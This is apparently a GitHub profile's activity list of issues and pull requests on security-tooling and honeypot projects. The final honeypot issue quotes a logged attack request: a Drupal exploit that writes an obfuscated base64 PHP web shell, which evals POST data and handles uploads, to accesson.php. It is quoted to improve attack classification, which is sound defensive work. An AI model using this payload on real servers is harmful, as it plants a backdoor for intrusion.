Mehtab Zafar

Separate contributions on forked and source repositories

1

It would be nice if we can get a contribution of a user on forked repo separately this would give an idea of how much a person works on other...

Handle CTRL+C properly

3

Currently pressing `ctrl+c` while scans are going on we get a big traceback. It would be nice if we can handle that traceback and print something nice like `Canceled by...

Refactor vault.py

2

Currently, we have around 1200 lines of code in a single file which is probably not a good practice. Also, this will increase since we are going to continue to...

QUESTION: progress bar with download

5

Hi, I am trying to make a progress bar with treq download [this](https://gist.github.com/mzfr/cb9027369094d6cb3a01b7279c74244d) is the code that I have written so far but there's a problem in line 14 because...

Improve the URL and path extractor

2

Not sure if its the regex or what but we get loads of binary/unicode kind of characters in the file. Also, there are loads of URLs pointing to websites like...

Fuzz the intents and try to capture screen for analysis

1

This is a weird idea that I have right now so I am just going to write this down for now. https://twitter.com/B3nac/status/1363343245934284801 b3nac did lot of these streams where he...

If we look at this(https://blog.oversecured.com/Interception-of-Android-implicit-intents/#attacks-on-an-activitys-return-value) blog post we can see that it's being mentioned that activities having intents like `android.intent.action.PICK` etc have possibility of having a vulnerability. It would be...

Twig template injection

5

Add twig template Fix for #381

Deploy master branch to server using github actions

1

@glaslos Can you please review this and let me know what all changes are required in this?

I noticed that some of the sessions don't have `attack_type` in their `paths` dictionary. Ex: ``` {'path': '/user/password?name%5B%23post_render%5D%5B0%5D=system&name%5B%23markup%5D=echo+PD9waHAgZWNobyA3NDU3NzM3KzczNjcyMzskcmFQb19yWmx1b0U9YmFzZTY0X2RlY29kZSgiWSIuY2hyKDEwOSkuIkYiLmNocigxMjIpLmNocig5MCkuIlQiLmNocig4OSkuY2hyKDQ4KS5jaHIoODgpLiIyIi4iUiIuImwiLiJZIi5jaHIoNTApLiI5Ii5jaHIoMTA3KS4iWiIuY2hyKDgxKS4iPSIuIj0iKTskeWRTSlB0bndyU3Y9YmFzZTY0X2RlY29kZShjaHIoODkpLiIyIi5jaHIoNTcpLmNocigxMTkpLmNocigxMDEpLmNocig4MSkuY2hyKDYxKS4iPSIpO2V2YWwoJHJhUG9fclpsdW9FKCRfUE9TVFtiYXNlNjRfZGVjb2RlKGNocig5NykuY2hyKDg3KS4iUSIuY2hyKDYxKSldKSk7aWYoJF9QT1NUW2Jhc2U2NF9kZWNvZGUoImQiLmNocig4OCkuY2hyKDY1KS4iPSIpXSA9PSBiYXNlNjRfZGVjb2RlKCJkIi4iWCIuY2hyKDY1KS5jaHIoNjEpKSl7QCR5ZFNKUHRud3JTdigkX0ZJTEVTW2Jhc2U2NF9kZWNvZGUoY2hyKDkwKS4ibSIuImwiLiJzIi5jaHIoOTApLiJRIi4iPSIuY2hyKDYxKSldW2Jhc2U2NF9kZWNvZGUoY2hyKDEwMCkuY2hyKDcxKS5jaHIoNDkpLiJ3Ii4iWCIuY2hyKDUwKS4iNSIuY2hyKDEwNCkuImIiLmNocig4NykuIlUiLmNocig2MSkpXSwkX0ZJTEVTW2Jhc2U2NF9kZWNvZGUoIloiLmNocigxMDkpLiJsIi4icyIuY2hyKDkwKS4iUSIuY2hyKDYxKS5jaHIoNjEpKV1bYmFzZTY0X2RlY29kZShjaHIoOTgpLiJtIi4iRiIuY2hyKDExNikuIloiLmNocig4MSkuY2hyKDYxKS4iPSIpXSk7fTsgPz4%3D%7C+base64+--decode%7C+tee+accesson.php', 'timestamp': 1590873349.0886896, 'response_status': 200} ``` I think we should modify regex so...